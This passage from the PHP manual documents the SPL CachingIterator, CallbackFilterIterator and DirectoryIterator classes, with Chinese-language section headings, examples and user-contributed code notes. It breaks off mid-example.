<?php
$array = array('1' => 'one');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

var_dump($iterator->valid()); //bool(true)

$iterator->next(); // advance to the next item

//bool(false) because there is only one array element
var_dump($iterator->valid());
?>

User Contributed Notes

There are no user contributed notes for this page.


CachingIterator 类

(PHP 5, PHP 7, PHP 8)

简介

该对象支持在另一迭代器上缓存迭代。

类摘要

class CachingIterator extends IteratorIterator implements ArrayAccess, Countable, Stringable {
/* 常量 */
public const int CALL_TOSTRING;
public const int CATCH_GET_CHILD;
public const int TOSTRING_USE_KEY;
public const int TOSTRING_USE_CURRENT;
public const int TOSTRING_USE_INNER;
public const int FULL_CACHE;
/* 方法 */
public __construct(Iterator $iterator, int $flags = CachingIterator::CALL_TOSTRING)
public count(): int
public current(): mixed
public getCache(): array
public getFlags(): int
public hasNext(): bool
public key(): scalar
public next(): void
public offsetExists(string $key): bool
public offsetGet(string $key): mixed
public offsetSet(string $key, mixed $value): void
public offsetUnset(string $key): void
public rewind(): void
public setFlags(int $flags): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

预定义常量

CachingIterator::CALL_TOSTRING

每个元素转换为字符串。

CachingIterator::CATCH_GET_CHILD

访问子元素时不要抛出异常。

CachingIterator::TOSTRING_USE_KEY

转换为字符串时使用 key。

CachingIterator::TOSTRING_USE_CURRENT

转换为字符串时使用 current。

CachingIterator::TOSTRING_USE_INNER

转换为字符串时使用 inner。

CachingIterator::FULL_CACHE

缓存所有读取的数据。

更新日志

版本 | 说明
8.0.0 | CachingIterator 现在实现了 Stringable。

Table of Contents

  • CachingIterator::__construct — Construct a new CachingIterator object for the iterator
  • CachingIterator::count — The number of elements in the iterator
  • CachingIterator::current — Return the current element
  • CachingIterator::getCache — Retrieve the contents of the cache
  • CachingIterator::getFlags — Get flags used
  • CachingIterator::hasNext — Check whether the inner iterator has a valid next element
  • CachingIterator::key — Return the key for the current element
  • CachingIterator::next — Move the iterator forward
  • CachingIterator::offsetExists — The offsetExists purpose
  • CachingIterator::offsetGet — The offsetGet purpose
  • CachingIterator::offsetSet — The offsetSet purpose
  • CachingIterator::offsetUnset — The offsetUnset purpose
  • CachingIterator::rewind — Rewind the iterator
  • CachingIterator::setFlags — The setFlags purpose
  • CachingIterator::__toString — Return the string representation of the current element
  • CachingIterator::valid — Check whether the current element is valid

User Contributed Notes

xedin dot unknown at gmail dot com 07-May-2020 05:19
Apparently, the `FULL_CACHE` flag automatically cancels the default flag `CALL_TOSTRING`. This is evident when one of the values cannot be converted to string: with the default `CALL_TOSTRING` flag, it would throw an error; without that flag, or with the `FULL_CACHE` flag, it does not.
ahmad dot mayahi at gmail dot com 25-Apr-2020 09:53
The only difference between CachingIterator and other Iterators such as ArrayIterator is the hasNext() method.

Since the data will be loaded into the memory, the CachingIterator is able to check whether the given iterator has a next element.

Let's demonstrate this by an example:

<?php
$iterator = new CachingIterator(new ArrayIterator(['C', 'C++', 'C#', 'PHP', 'Python', 'Go', 'Ruby']));

foreach ($iterator as $item) {
    if ($iterator->hasNext()) {
        echo $item.', ';
    } else {
        echo 'and '.$item;
    }
}

// C, C++, C#, PHP, Python, Go, and Ruby
?>

In this example I check whether the iterator has a next value, if so, I append a comma otherwise "and" will be appended to the last element.
jerome at chaman dot ca 15-Dec-2019 12:37
"cached iteration over another iterator" means this iterator is always one step behind the inner iterator. In other words, the "first" iteration will yield null:

<?php

$cit = new CachingIterator( new ArrayIterator( [ 'a', 'b', 'c']  ) );

echo $cit->current() ); // null
echo $cit->getInnerIterator()->current() ); // "a"

while($cit->hasNext()){

    // we start with a "next" since the "first" item is null
     $cit->next();
     echo $cit->current(), '<br>';

}
?>

iterating this way gives us an access, ahead, to the future item (aka current item of the inner iterator)
ahmad dot mayahi at gmail dot com 24-Oct-2016 07:54
<?php
//This snippet will print out all the cached elements (foreach) .

$cache  = new CachingIterator(new ArrayIterator(range(1,100)), CachingIterator::FULL_CACHE);

foreach ($cache as $c) {

}

print_r($cache->getCache());
?>


Construct a new CachingIterator object for the iterator

  • ? CachingIterator
  • CachingIterator::count ?
  • PHP Manual
  • CachingIterator
  • Construct a new CachingIterator object for the iterator

CachingIterator::__construct

(PHP 5, PHP 7, PHP 8)

CachingIterator::__construct — Construct a new CachingIterator object for the iterator

说明

public CachingIterator::__construct(Iterator $iterator, int $flags = CachingIterator::CALL_TOSTRING)
Warning

本函数还未编写文档，仅有参数列表。

参数

iterator

Iterator to cache

flags

Bitmask of flags.

User Contributed Notes

There are no user contributed notes for this page.


The number of elements in the iterator

  • ? CachingIterator::__construct
  • CachingIterator::current ?
  • PHP Manual
  • CachingIterator
  • The number of elements in the iterator

CachingIterator::count

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

CachingIterator::count — The number of elements in the iterator

说明

public CachingIterator::count(): int
Warning

本函数还未编写文档，仅有参数列表。

May return the number of elements in the iterator.

参数

此函数没有参数。

返回值

The count of the elements iterated over.

User Contributed Notes

There are no user contributed notes for this page.


Return the current element

  • ? CachingIterator::count
  • CachingIterator::getCache ?
  • PHP Manual
  • CachingIterator
  • Return the current element

CachingIterator::current

(PHP 5, PHP 7, PHP 8)

CachingIterator::current — Return the current element

说明

public CachingIterator::current(): mixed
Warning

本函数还未编写文档，仅有参数列表。

May return the current element in the iteration.

参数

此函数没有参数。

返回值

Mixed

参见

  • Iterator::current() - 返回当前元素

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the contents of the cache

  • ? CachingIterator::current
  • CachingIterator::getFlags ?
  • PHP Manual
  • CachingIterator
  • Retrieve the contents of the cache

CachingIterator::getCache

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::getCache — Retrieve the contents of the cache

说明

public CachingIterator::getCache(): array

Retrieve the contents of the cache.

Note:

The CachingIterator::FULL_CACHE flag must be being used.

参数

此函数没有参数。

返回值

An array containing the cache items.

错误／异常

Throws a BadMethodCallException when the CachingIterator::FULL_CACHE flag is not being used.

示例

Example #1 CachingIterator::getCache() example

<?php
$iterator = new ArrayIterator(array(1, 2, 3));
$cache = new CachingIterator($iterator, CachingIterator::FULL_CACHE);

$cache->next();
$cache->next();
var_dump($cache->getCache());

$cache->next();
var_dump($cache->getCache());
?>

以上示例会输出：

array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Get flags used

  • ? CachingIterator::getCache
  • CachingIterator::hasNext ?
  • PHP Manual
  • CachingIterator
  • Get flags used

CachingIterator::getFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::getFlags — Get flags used

说明

public CachingIterator::getFlags(): int
Warning

本函数还未编写文档，仅有参数列表。

Get the bitmask of the flags used for this CachingIterator instance.

参数

此函数没有参数。

返回值

Description...

User Contributed Notes

Anonymous 06-Feb-2015 09:57
use 'CachingIterator::TOSTRING_USE_INNER' flag

<?php
class A extends ArrayIterator {
    public function __toString(){
        return 'toString this class';
        }
    }

$iterator = new A(array('apple'=>10, 'banana'=>20, 'cat'=>30));
$cache    = new CachingIterator($iterator, CachingIterator::TOSTRING_USE_INNER);

$cache->next();
$cache->next();

echo $cache;

/*
output:
toString this class

*/
?>
kais7mg at qq dot com 06-Feb-2015 09:49
use the 'CachingIterator::TOSTRING_USE_KEY', when echo this Object,
output current 'key';

<?php
$iterator = new ArrayIterator(array('apple'=>10, 'banana'=>20, 'cat'=>30));
$cache    = new CachingIterator($iterator, CachingIterator::TOSTRING_USE_KEY);

$cache->next();
$cache->next();

echo $cache;
?>

output:
banana


Check whether the inner iterator has a valid next element

  • ? CachingIterator::getFlags
  • CachingIterator::key ?
  • PHP Manual
  • CachingIterator
  • Check whether the inner iterator has a valid next element

CachingIterator::hasNext

(PHP 5, PHP 7, PHP 8)

CachingIterator::hasNext — Check whether the inner iterator has a valid next element

说明

public CachingIterator::hasNext(): bool
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

andresdzphp at php dot net 26-Sep-2011 01:08
CachingIterator::hasNext Example

<?php
$ait = new ArrayIterator(array('Value 1', 'Value 2', 'Value 3', 'Value 4'));
$cit = new CachingIterator($ait);

foreach ($cit as $value) {
    echo $value;
    //if has a next value, print a comma
    if ($cit->hasNext()) {
        echo ', ';
    }
}
?>

Result: Value 1, Value 2, Value 3, Value 4


Return the key for the current element

  • ? CachingIterator::hasNext
  • CachingIterator::next ?
  • PHP Manual
  • CachingIterator
  • Return the key for the current element

CachingIterator::key

(PHP 5, PHP 7, PHP 8)

CachingIterator::key — Return the key for the current element

说明

public CachingIterator::key(): scalar
Warning

本函数还未编写文档，仅有参数列表。

This method may return a key for the current element.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • ? CachingIterator::key
  • CachingIterator::offsetExists ?
  • PHP Manual
  • CachingIterator
  • Move the iterator forward

CachingIterator::next

(PHP 5, PHP 7, PHP 8)

CachingIterator::next — Move the iterator forward

说明

public CachingIterator::next(): void
Warning

本函数还未编写文档，仅有参数列表。

Move the iterator forward.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • ? CachingIterator::next
  • CachingIterator::offsetGet ?
  • PHP Manual
  • CachingIterator
  • The offsetExists purpose

CachingIterator::offsetExists

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetExists — The offsetExists purpose

说明

public CachingIterator::offsetExists(string $key): bool
Warning

本函数还未编写文档，仅有参数列表。

参数

key

The index being checked.

返回值

Returns true if an entry referenced by the offset exists, false otherwise.

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:07
offsetExists($index) examines the cache, not the inner or outer iterator.

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);
        $fullRange = range(0, 3);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        foreach ($fullRange as $offset) {
            print_r("cache offset '$offset' " .
                ($cache->offsetExists("$offset") == 1
                    ? 'exists'
                    : "doesn't exist"
                ) . PHP_EOL);
        }
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)
cache offset '0' exists
cache offset '1' exists
cache offset '2' doesn't exist
cache offset '3' doesn't exist


The offsetGet purpose

  • ? CachingIterator::offsetExists
  • CachingIterator::offsetSet ?
  • PHP Manual
  • CachingIterator
  • The offsetGet purpose

CachingIterator::offsetGet

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetGet — The offsetGet purpose

说明

public CachingIterator::offsetGet(string $key): mixed
Warning

本函数还未编写文档，仅有参数列表。

参数

key

Description...

返回值

Description...

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:06
offsetGet($index) returns the value stored at $index in the cache. Until you've
iterated over the items, the cache is empty and the index will not exist.

 <?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        echo $cache->offsetGet('1') . PHP_EOL;
        echo $cache->offsetGet('2') . PHP_EOL;
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)

b
Undefined index: 2


The offsetSet purpose

  • ? CachingIterator::offsetGet
  • CachingIterator::offsetUnset ?
  • PHP Manual
  • CachingIterator
  • The offsetSet purpose

CachingIterator::offsetSet

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetSet — The offsetSet purpose

说明

public CachingIterator::offsetSet(string $key, mixed $value): void
Warning

本函数还未编写文档，仅有参数列表。

参数

key

The index of the element to be set.

value

The new value for the key.

返回值

没有返回值。

User Contributed Notes

ddrake at dreamingmind dot com 16-Dec-2019 03:23
offsetSet($index, $newval) will change an existing cache value or create a new cache entry

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator(['a', 'b', 'c', 'd']),
            \CachingIterator::FULL_CACHE);

        $shortRange = range(0, 1);

        foreach ($shortRange as $index) {
            $cache->next();
        }

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        echo $cache->offsetSet('0', 'manual change') . PHP_EOL;
        echo $cache->offsetSet('3', 'manual entry') . PHP_EOL;
?>

The cache
array (
  0 => 'a',
  1 => 'b',
)

The cache
array (
  0 => 'manual change',
  1 => 'b',
  3 => 'manual entry',
)

There is no requirement that the offset exist in the inner iterator, or that the offset exists in the cache.

<?php
        $cache = new \CachingIterator(
            new \ArrayIterator([]),
            \CachingIterator::FULL_CACHE);

        echo $cache->offsetSet('22', 'manual entry') . PHP_EOL;

        echo PHP_EOL . 'The cache' . PHP_EOL;
        var_export($cache->getCache());
        echo PHP_EOL;

        print_r("cache offset '22' " .
            ($cache->offsetExists('22') == 1
                ? 'exists'
                : "doesn't exist"
            ) . PHP_EOL);
?>

The cache
array (
  22 => 'manual entry',
)
cache offset '22' exists


The offsetUnset purpose

  • ? CachingIterator::offsetSet
  • CachingIterator::rewind ?
  • PHP Manual
  • CachingIterator
  • The offsetUnset purpose

CachingIterator::offsetUnset

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::offsetUnset — The offsetUnset purpose

说明

public CachingIterator::offsetUnset(string $key): void
Warning

本函数还未编写文档，仅有参数列表。

参数

key

The index of the element to be unset.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator

  • ? CachingIterator::offsetUnset
  • CachingIterator::setFlags ?
  • PHP Manual
  • CachingIterator
  • Rewind the iterator

CachingIterator::rewind

(PHP 5, PHP 7, PHP 8)

CachingIterator::rewind — Rewind the iterator

说明

public CachingIterator::rewind(): void
Warning

本函数还未编写文档，仅有参数列表。

Rewind the iterator.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The setFlags purpose

  • ? CachingIterator::rewind
  • CachingIterator::__toString ?
  • PHP Manual
  • CachingIterator
  • The setFlags purpose

CachingIterator::setFlags

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

CachingIterator::setFlags — The setFlags purpose

说明

public CachingIterator::setFlags(int $flags): void
Warning

本函数还未编写文档，仅有参数列表。

Set the flags for the CachingIterator object.

参数

flags

Bitmask of the flags to set.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Return the string representation of the current element

  • ? CachingIterator::setFlags
  • CachingIterator::valid ?
  • PHP Manual
  • CachingIterator
  • Return the string representation of the current element

CachingIterator::__toString

(PHP 5, PHP 7, PHP 8)

CachingIterator::__toString — Return the string representation of the current element

说明

public CachingIterator::__toString(): string
Warning

本函数还未编写文档，仅有参数列表。

Get the string representation of the current element.

参数

此函数没有参数。

返回值

The string representation of the current element.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element is valid

  • ? CachingIterator::__toString
  • CallbackFilterIterator ?
  • PHP Manual
  • CachingIterator
  • Check whether the current element is valid

CachingIterator::valid

(PHP 5, PHP 7, PHP 8)

CachingIterator::valid — Check whether the current element is valid

说明

public CachingIterator::valid(): bool
Warning

本函数还未编写文档，仅有参数列表。

Check whether the current element is valid.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


The CallbackFilterIterator class

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

类摘要

class CallbackFilterIterator extends FilterIterator {
/* 方法 */
public __construct(Iterator $iterator, callable $callback)
public accept(): bool
/* 继承的方法 */
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

示例

The callback should accept up to three arguments: the current item, the current key and the iterator, respectively.

Example #1 Available callback arguments

<?php

/**
* Callback for CallbackFilterIterator
*
* @param $current Current item's value
* @param $key Current item's key
* @param $iterator Iterator being filtered
* @return boolean TRUE to accept the current item, FALSE otherwise
*/
function my_callback($current, $key, $iterator) {
// Your filtering code here
}

?>

Any callable may be used; such as a string containing a function name, an array for a method, or an anonymous function.

Example #2 Callback basic examples

<?php

$dir = new FilesystemIterator(__DIR__);

// Filter large files ( > 100MB)
function is_large_file($current) {
return $current->isFile() && $current->getSize() > 104857600;
}
$large_files = new CallbackFilterIterator($dir, 'is_large_file');

// Filter directories
$files = new CallbackFilterIterator($dir, function ($current, $key, $iterator) {
return $current->isDir() && ! $iterator->isDot();
});

?>

Table of Contents

  • CallbackFilterIterator::accept — Calls the callback with the current value, the current key and the inner iterator as arguments
  • CallbackFilterIterator::__construct — Create a filtered iterator from another iterator

User Contributed Notes

asadi dot jabar at outlook dot com 06-Aug-2018 11:21
CallbackFilterIterator class  didnot implement   OuterIterator interface directly

below  is the correct hierarchy

 CallbackFilterIterator
          |__FilterIterator
             |___  IteratorIterator
                 |____ OuterIterator

please fix the documentation
tunaabutbul[plus]php[at]gmail[dot]com 03-Aug-2017 12:41
i PHP 7 you can use Anonymous classes to get the same results.

<?php

class MyIterator implements Iterator
{
    /**
     * @var \Iterator
     */
    protected $next;

    /**
     * Collection constructor.
     *
     * @param \Iterator $next
     */
    public function __construct(Iterator $next)
    {
        $this->next = $next;
    }

    /**
     * @param callable $callback
     *
     * @return static
     */
    public function filter(callable $callback = null)
    {
        return new static(new class($this, $callback) extends FilterIterator
        {
            protected $callback;

            public function __construct(\Iterator $iterator, callable $callback = null)
            {
                parent::__construct($iterator);

                $this->callback = $callback ?: function($current) {
                    return ! empty($current);
                };;
            }

            public function accept()
            {
                return call_user_func($this->callback, parent::accept());
            }
        });
    }
   // Iterator methods ...
}
// .......
?>
dave1010 at gmail dot com 25-May-2012 01:29
Implementation for PHP < 5.4:

<?php
if (!class_exists('CallbackFilterIterator')) {
    class CallbackFilterIterator extends FilterIterator {
        protected $callback;

        // "Closure" type hint should be "callable" in PHP 5.4
        public function __construct(Iterator $iterator, Closure $callback = null) {
            $this->callback = $callback;
            parent::__construct($iterator);
        }

        public function accept() {
            return call_user_func(
                $this->callback,
                $this->current(),
                $this->key(),
                $this->getInnerIterator()
            );
        }
    }
}

?>


Calls the callback with the current value, the current key and the inner iterator as arguments

  • ? CallbackFilterIterator
  • CallbackFilterIterator::__construct ?
  • PHP Manual
  • CallbackFilterIterator
  • Calls the callback with the current value, the current key and the inner iterator as arguments

CallbackFilterIterator::accept

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

CallbackFilterIterator::accept — Calls the callback with the current value, the current key and the inner iterator as arguments

说明

public CallbackFilterIterator::accept(): bool

This method calls the callback with the current value, current key and the inner iterator.

The callback is expected to return true if the current item is to be accepted, or false otherwise.

参数

此函数没有参数。

返回值

Returns true to accept the current item, or false otherwise.

参见

  • CallbackFilterIterator Examples
  • CallbackFilterIterator::__construct() - Create a filtered iterator from another iterator

User Contributed Notes

There are no user contributed notes for this page.


Create a filtered iterator from another iterator

  • ? CallbackFilterIterator::accept
  • DirectoryIterator ?
  • PHP Manual
  • CallbackFilterIterator
  • Create a filtered iterator from another iterator

CallbackFilterIterator::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

CallbackFilterIterator::__construct — Create a filtered iterator from another iterator

说明

public CallbackFilterIterator::__construct(Iterator $iterator, callable $callback)

Creates a filtered iterator using the callback to determine which items are accepted or rejected.

参数

iterator

The iterator to be filtered.

callback

The callback, which should return true to accept the current item or false otherwise. See Examples.

May be any valid callable value.

参见

  • CallbackFilterIterator Examples
  • CallbackFilterIterator::accept() - Calls the callback with the current value, the current key and the inner iterator as arguments

User Contributed Notes

There are no user contributed notes for this page.


The DirectoryIterator class

(PHP 5, PHP 7, PHP 8)

简介

The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

类摘要

class DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* 方法 */
public __construct(string $directory)
public current(): mixed
public getBasename(string $suffix = ""): string
public getExtension(): string
public getFilename(): string
public isDot(): bool
public key(): mixed
public next(): void
public rewind(): void
public seek(int $offset): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Table of Contents

  • DirectoryIterator::__construct — Constructs a new directory iterator from a path
  • DirectoryIterator::current — Return the current DirectoryIterator item
  • DirectoryIterator::getBasename — Get base name of current DirectoryIterator item
  • DirectoryIterator::getExtension — Gets the file extension
  • DirectoryIterator::getFilename — Return file name of current DirectoryIterator item
  • DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'
  • DirectoryIterator::key — Return the key for the current DirectoryIterator item
  • DirectoryIterator::next — Move forward to next DirectoryIterator item
  • DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start
  • DirectoryIterator::seek — Seek to a DirectoryIterator item
  • DirectoryIterator::__toString — Get file name as a string
  • DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

User Contributed Notes

incredimike 06-Mar-2018 12:03
For some reason, the `isDot()` method doesn't return positive for the `.DS_Store` file generated by Mac OS's Finder. In practice, I've had to write code to explicitly check for this file:

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot() || $fileInfo->getBasename() === '.DS_Store') continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
alvaro at demogracia dot com 19-Oct-2017 03:27
DirectoryIterator is just an lightweight SplFileInfo iterator and its methods operate on whatever item the internal cursor points to. In other words:

<?php
$iterator = new DirectoryIterator('C:\\');
echo $iterator->getPathname();
?>

... will NOT print "C:\" but the path of the first file or subdirectory retrieved, e.g. "C:\$Recycle.Bin".
abdel at elghafoud dot com 20-Feb-2014 11:39
Shows us recursively all files and catalogues in directory except "." and "..".

<?php

/**
 * @param string $directory
 * @param array $files
 * @return array
 */
public function recursiveDirectoryIterator ($directory = null, $files = array()) {
    $iterator = new \DirectoryIterator ( $directory );

    foreach ( $iterator as $info ) {
        if ($info->isFile ()) {
            $files [$info->__toString ()] = $info;
        } elseif (!$info->isDot ()) {
            $list = array($info->__toString () => $this->recursiveDirectoryIterator(
                        $directory.DIRECTORY_SEPARATOR.$info->__toString ()
            ));
            if(!empty($files))
                $files = array_merge_recursive($files, $filest);
            else {
                $files = $list;
            }
        }
    }
    return $files;
}

?>
rogier at dsone dot nl 16-Aug-2012 06:23
Beware of the behavior when using FilesystemIterator::UNIX_PATHS, it's not applied as you might expect.

I guess this flag is added especially for use on windows.
However, the path you construct the RecursiveDirectoryIterator or FilesystemIterator with will not be available as a unix path.
I can't say this is a bug, since most methods are just purely inherited from DirectoryIterator.

In my test, I'd expected a complete unix path. Unfortunately... not quite as expected:

<?php
         // say $folder = C:\projects\lang

        $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS;
        $d_iterator = new RecursiveDirectoryIterator($folder, $flags);

        echo $d_iterator->getPath();

?>

expected result: /projects/lang (or C:/projects/lang)
actual result: C:\projects\lang
Kunal Bhatia->kmasterzone@gmail dot com 15-Apr-2011 02:48
Deleting all files in a directory except the one which is last modified.
<?php
    $directory = dirname(__FILE__)."/demo";
    $filenames = array();
    $iterator = new DirectoryIterator($directory);
    foreach ($iterator as $fileinfo) {
        if ($fileinfo->isFile()) {
            $filenames[$fileinfo->getMTime()] = $fileinfo->getFilename();
        }
    }
    ksort($filenames);
    print_r($filenames);
    echo "\n";
    $i=0;
    if(sizeof($filenames)>1){
        foreach ($filenames as $file){
            if($i>0){
                echo $file."\n";
                unlink($directory."/".$file);
            }
            $i++;
        }
    }
?>
krystianmularczyk at gmail dot com 25-Jan-2009 03:31
Shows us all files and catalogues in directory except "." and "..".

<?php

foreach (new DirectoryIterator('../moodle') as $fileInfo) {
    if($fileInfo->isDot()) continue;
    echo $fileInfo->getFilename() . "<br>\n";
}

?>
David Lanstein 21-Jan-2009 12:50
DirectoryIterator::getBasename() has been also been available since 5.2.2, according to the changelog (not documented yet).  It takes a parameter $suffix, and is useful if, for instance, you use a naming convention for your files (e.g. ClassName.php).

The following code uses this to add recursively All*Tests.php in any subdirectory off of tests/, basically, suites of suites.

<?php
// PHPUnit boilerplate code goes here

class AllTests {
    public static function main() {
        $parameters = array('verbose' => true);
        PHPUnit_TextUI_TestRunner::run(self::suite(), $parameters);
    }

    public static function suite() {
        $suite = new PHPUnit_Framework_TestSuite('AllMyTests'); // this must be something different than the class name, per PHPUnit
        $it = new AllTestsFilterIterator(
                  new RecursiveIteratorIterator(
                      new RecursiveDirectoryIterator(dirname(__FILE__) . '/tests')));

        for ($it->rewind(); $it->valid(); $it->next()) {
            require_once($it->current());
            $className = $it->current()->getBasename('.php');
            $suite->addTest($className::suite());
        }

        return $suite;
    }
}
?>

Also, the AllTestsFilterIterator above extends FilterIterator, and contains one method, accept():

<?php
class AllTestsFilterIterator extends FilterIterator {
    public function accept() {
        if (preg_match('/All.*Tests\.php/', $this->current())) {
            return true;
        } else {
            return false;
        }
    }
}
?>
Mark van Straten 09-Jul-2008 07:56
Implements Iterator so you can foreach() over the content of the given directory


Constructs a new directory iterator from a path

  • ? DirectoryIterator
  • DirectoryIterator::current ?
  • PHP Manual
  • DirectoryIterator
  • Constructs a new directory iterator from a path

DirectoryIterator::__construct

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::__construct — Constructs a new directory iterator from a path

说明

public DirectoryIterator::__construct(string $directory)

Constructs a new directory iterator from a path.

参数

directory

The path of the directory to traverse.

错误／异常

Throws an UnexpectedValueException if the directory does not exist.

Throws a ValueError if the directory is an empty string.

更新日志

版本 | 说明
8.0.0 | Now throws a ValueError if directory is an empty string; previously it threw a RuntimeException.

示例

Example #1 A DirectoryIterator::__construct() example

This example will list the contents of the directory containing the script.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
if (!$fileinfo->isDot()) {
var_dump($fileinfo->getFilename());
}
}
?>

参见

  • SplFileInfo
  • Iterator

User Contributed Notes

h.man 08-Mar-2021 05:30
RecursiveDirectoryIterator seems to close file handles that are currently open. After using it "PHP Warning:  fwrite(): supplied resource is not a valid stream resource in..." is given...
ahmad dot mayahi at gmail dot com 12-Mar-2020 06:57
Many developers get confused between DirectoryIterator and FilesystemIterator, there are a few small differences that I'm goning to list them here:

DirectoryIterator:
* Includes the "." and ".." within the path.
* Numberd keys.
* Path is not included in in value.
* No configuration available.
* You do need to use "clone" when storing the elements into an array.

Example:
<?php
$files = [];
foreach ($dir as $key => $item) {
    echo $key.PHP_EOL; // The key is a number
    $files[] = $item;
}

echo $files[0]->getFilename(); // nothing happens here, you do need to use clone $item inside the foreach

?>

FilesystemIterator:
* Dot files skipped.
* Pathname is used as a key as well as a value.
* Configurable.
* Uses SplFileInfo to store the files.

"FilesystemIterator" it's an enhanced version of DirectoryIterator, and I prefer to use it instead of the DirectoryIterator.
cmanley at example dot com 22-Apr-2019 07:10
Beware that DirectoryIterator returns a reference to itself with each iteration instead of a unique new SplFileInfo object as one may first assume.
This is important to know if you want to push the results of an iteration into an array for later processing.
If you do that, then all entries in the array will be the same DirectoryIterator object with the same internal state (most likely invalid - see the valid() method), which is probably not what you want.
So if you do want to store the iteration results in an array, then you must convert them to either plain strings  or new SplFileInfo objects first.

$todo = [];
foreach (new DirectoryIterator('/some/dir') as $entry) {
    if (!$entry->isFile()) {
        continue;
    }
    #$todo []= $entry; # Don't do this!
    $todo []= new SplFileInfo($entry->getFilename());    # Do this!
    #$todo []= $entry->getFilename();    # or do this if you're only interested in the file name.
}
a dot lyskawa at nisza dot org 18-Dec-2009 12:55
Here's all-in-one DirectoryIterator:

<?php

/**
 * Real Recursive Directory Iterator
 */
class RRDI extends RecursiveIteratorIterator {
  /**
   * Creates Real Recursive Directory Iterator
   * @param string $path
   * @param int $flags
   * @return DirectoryIterator
   */
  public function __construct($path, $flags = 0) {
